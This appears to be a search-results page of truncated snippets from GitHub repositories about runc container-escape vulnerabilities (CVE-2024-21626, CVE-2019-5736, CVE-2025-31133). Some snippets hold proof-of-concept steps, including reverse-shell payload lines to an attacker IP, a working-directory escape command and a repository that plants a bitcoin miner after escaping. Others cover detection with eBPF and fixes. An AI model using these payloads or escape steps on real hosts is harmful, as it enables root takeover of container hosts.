2369 matches found
CVE-2024-21626-runcPOC
【漏洞复现】CVE-2024-21626 docker runc逃逸漏洞 1、漏洞简介 漏洞名称| docker runc逃逸漏洞 ---|--- 漏洞编号| CVE-2024-21626 披露日期| 2024-01-31 特征| / 影响版本| runc @ v1.0.0-rc93,1.1.11 2、漏洞利用&POC/EXP 利用条件 有点苛刻,需要受害者交互,个人认为有点鸡肋: 1. 使用攻击者的恶意镜像(包括一些对工作目录的设置等)创建容器 2. 攻击者可以控制容器,执行命令。 漏洞存在验证与获取描述符: git clone...
CVE-2024-21626
利用: 1.git clone https://github.com/cdxiaodong/CVE-2024-21626 2.docker-compose up 验证: 如果获取到宿主的/etc/passwd 即存在该漏洞 环境: runc: =v1.0.0-rc93,=1.1.11 攻击细节原理: 在 runc 受影响版本中,由于在初始化过程中泄露了部分内部文件描述符,包括对宿主的 /sys/fs/cgroup 的句柄,同时 runc 未验证最终工作目录是否位于容器的挂载命名空间。攻击者可以修改 process.cwd 配置为 /proc/self/fd/7或者将宿主机调用runc...
cve-2024-21626
CVE-2024-21626 Resumen Este repositorio contiene ejemplos de código de una aplicación vulnerable a CVE-2024-21626, así como un gadget eBPF para detectar intentos de explotación. Este repositorio fue creado como parte de este blog post. El programa gadget utilizado para detectar esta vulnerabilida...
cve_2019-5736-PoC
CVE-2019-5736 PoC Este repositorio contiene un exploit de prueba de concepto basado en C para CVE-2019-5736. Esta vulnerabilidad permite que un contenedor Docker malicioso sobrescriba el binario runc del host y ejecute comandos arbitrarios en el host con privilegios de root, comprometiendo por...
CVE-2024-21626
CVE-2024-21626 Para una explicación detallada de esta vulnerabilidad, consulte mi artículo. Explotación Explotación mediante la ejecución de un contenedor No es necesario construir una imagen personalizada, solo ejecute un contenedor con el parámetro -w: docker run -w /proc/self/fd/8 --name...
proxmox-lxc-docker-fix
Solución para AppArmor en LXC de Proxmox para Docker/Contenedores Solución para CVE-2025-52881 : Corrige la rotura de Docker, Podman y otros entornos de ejecución de contenedores en contenedores LXC de Proxmox causada por incompatibilidad de AppArmor con runc 1.2.7+/1.3.2+ 🚨 El Problema...
cve-2019-5736-poc
Para ejecutar: 1. editar el comando poc en stage2.c 2. construir docker docker build -t cve . 3. ejecutar docker docker run -d cve /bin/bash -c "tail -f /dev/null" 4. hacer copia de seguridad de docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6...
CVE-2024-21626
CVE-2024-21626 POC Requisitos runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy EOF !/bin/bash ba...
CVE-2019-5736
🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使用方法 : 该机器存在CVE-2019-5736漏洞,请按照Runc漏洞利用(CVE-2019-5736)中的步骤操作。 下载main.go文件,将文件中的payload修改为: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 之后,运行: go build main.go 搭建一个HTTP服务器: python3 -m http.server 然后按如下方式打开3个终端: 终端1 sudo /usr/bin/docker exec...
container-escape-ebpf
Documento técnico https://www.scs-europe.net/dlib/2026/2026-0321.html Suposiciones El host ejecuta una versión vulnerable de runc: Para CVE-2025-31133: 1.2.7 y anteriores, 1.3.0-rc.1 hasta 1.3.2, 1.4.0-rc.1 y 1.4.0-rc.2. Para CVE-2024-21626: 1.0.0-rc93 hasta 1.1.11. Un usuario no privilegiado pue...
cve-2019-5736-poc
CVE-2019-5736 概念验证 该工具会在宿主机 runc 二进制文件末尾追加字符串。需自备有效载荷(参见 stage2.c)。 运行方式: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...
CVE-2024-21626
PoC of CVE-2024-21626 Read my full article for detailed explanation here. Related article While investigating CVE-2024–21626 , I discovered an overlooked vulnerability in older versions of Docker and runC. To learn more about what I found, read the following article: “Exploring Hidden...
Learn-about-cve-2025-31133-poc
Aprende-sobre-cve-2025-31133-poc Resumen Una demostración de prueba de concepto y un entorno de aprendizaje para CVE-2025-31133 , una vulnerabilidad de seguridad en runc que permite eludir la protección maskedPaths mediante una condición de carrera. Los maskedPaths están diseñados para evitar que...
CVE-2024-21626-old-docker-versions
旧版 runc 组件中的容器逃逸漏洞 CVE-2024-21626 在我分析 CVE-2024-21626 的过程中,我发现其他旧版 Docker 组件也存在 文件描述符泄漏 漏洞(这一点在 安全公告 GHSA-xr7r-f8xq-vfvv 中并未提及)。请阅读我的完整文章以获取详细解释:此处。 1. 搭建环境 🔨 A. 下载并安装 Ubuntu 18.04.6 LTS Bionic Beaver 版本 安装过程中不要勾选“下载更新”选项。 B. 安装存在漏洞的 Docker 版本及相关组件 访问...
Docker-Escape-Miner
Using a published Docker exploit to gain root access and run a bitcoin mining script This uses two open source libraries: nightminer by @ricmoo for python bitcoin mining RunC-CVE-2019-5736 by @twistlock for the docker escape System Requirements This was tested on Kali Linux, with Docker version...
CVE-2019-5736
用法 编辑 payload.c 内的 HOST,然后用 make 编译。启动 nc,并在容器内运行 pwn.sh。 备注 该漏洞利用具有破坏性:它会用 payload 覆盖宿主机上的 /usr/bin/docker-runc 二进制文件,同时也会覆盖容器内的 /bin/sh。 仅在 Debian 9 上测试过。 未尝试使其稳定或可靠,仅测试在宿主机上执行 docker exec /bin/sh 时能工作。 我编写此漏洞利用时所引用的原始提交在这里。 实际发现该漏洞的研究人员已在此处发布了分析文章(链接)。 我还添加了原始漏洞利用 CVE20195736tarxz,其工作方式与我的不同。感...
cve-2019-5736-poc
Encabezados a añadir stage2.c bash include bash include Modificar con IP del PC atacante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Creación de imagen Docker y contenedor $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...
RunC-CVE-2019-5736
RunC-CVE-2019-5736 Dos PoCs para CVE-2019-5736. Consulte Twistlock Labs para una explicación de CVE-2019-5736 y los PoCs. El PoC de imagen maliciosa se basa en gran medida en el PoC de q3k, por lo que todo el crédito es para él. Ejecutando los PoCs Tenga en cuenta que ejecutar los PoCs...
CVE-2025-31133
CVE-2025-31133 PoC Exploit This document explains the functionality of the provided Proof-of-Concept PoC script for the runc vulnerability CVE-2025-31133. Summary Vulnerability: CVE-2025-31133 - A symbolic link race condition in runc's maskedPaths handling. Impact: A malicious container can bypas...